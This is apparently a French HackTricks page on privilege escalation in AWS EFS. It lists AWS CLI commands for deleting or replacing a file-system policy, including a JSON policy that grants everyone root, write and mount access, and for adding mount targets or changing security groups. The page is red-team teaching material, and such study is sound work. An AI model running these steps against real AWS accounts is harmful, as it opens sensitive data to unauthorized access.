AWS - EFS Privesc

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks:

EFS

Plus d'informations sur EFS dans:

pageAWS - EFS Enum

Rappelez-vous que pour monter un EFS, vous devez être dans un sous-réseau où l'EFS est exposé et y avoir accès (groupes de sécurité). Si cela se produit, par défaut, vous pourrez toujours le monter, cependant, s'il est protégé par des stratégies IAM, vous devez avoir les autorisations supplémentaires mentionnées ici pour y accéder.

elasticfilesystem:DeleteFileSystemPolicy|elasticfilesystem:PutFileSystemPolicy

Avec l'une de ces autorisations, un attaquant peut modifier la stratégie du système de fichiers pour vous donner accès à celui-ci, ou simplement le supprimer pour que l'accès par défaut soit accordé.

Pour supprimer la stratégie:

aws efs delete-file-system-policy \
--file-system-id <value>

Pour le changer :

aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json

// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}

elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)

Avec cette autorisation, un attaquant pourra monter l'EFS. Si l'autorisation d'écriture n'est pas accordée par défaut à tous ceux qui peuvent monter l'EFS, il n'aura que l'accès en lecture.

sudo mkdir /efs
sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/

Les autorisations supplémentaires elasticfilesystem:ClientRootAccess et elasticfilesystem:ClientWrite peuvent être utilisées pour écrire à l'intérieur du système de fichiers une fois qu'il est monté et pour accéder à ce système de fichiers en tant que root.

Impact potentiel: Élévation indirecte des privilèges en localisant des informations sensibles dans le système de fichiers.

elasticfilesystem:CreateMountTarget

Si un attaquant se trouve dans un sous-réseauaucune cible de montage de l'EFS n'existe, il pourrait simplement en créer une dans son sous-réseau avec ce privilège:

# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>

Impact potentiel : Élévation de privilèges indirecte en localisant des informations sensibles dans le système de fichiers.

elasticfilesystem:ModifyMountTargetSecurityGroups

Dans un scénario où un attaquant découvre que le système de fichiers élastique a une cible de montage dans son sous-réseau mais aucun groupe de sécurité n'autorise le trafic, il pourrait simplement modifier cela en modifiant les groupes de sécurité sélectionnés :

aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>

Impact potentiel : Élévation indirecte des privilèges en localisant des informations sensibles dans le système de fichiers.

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Dernière mise à jour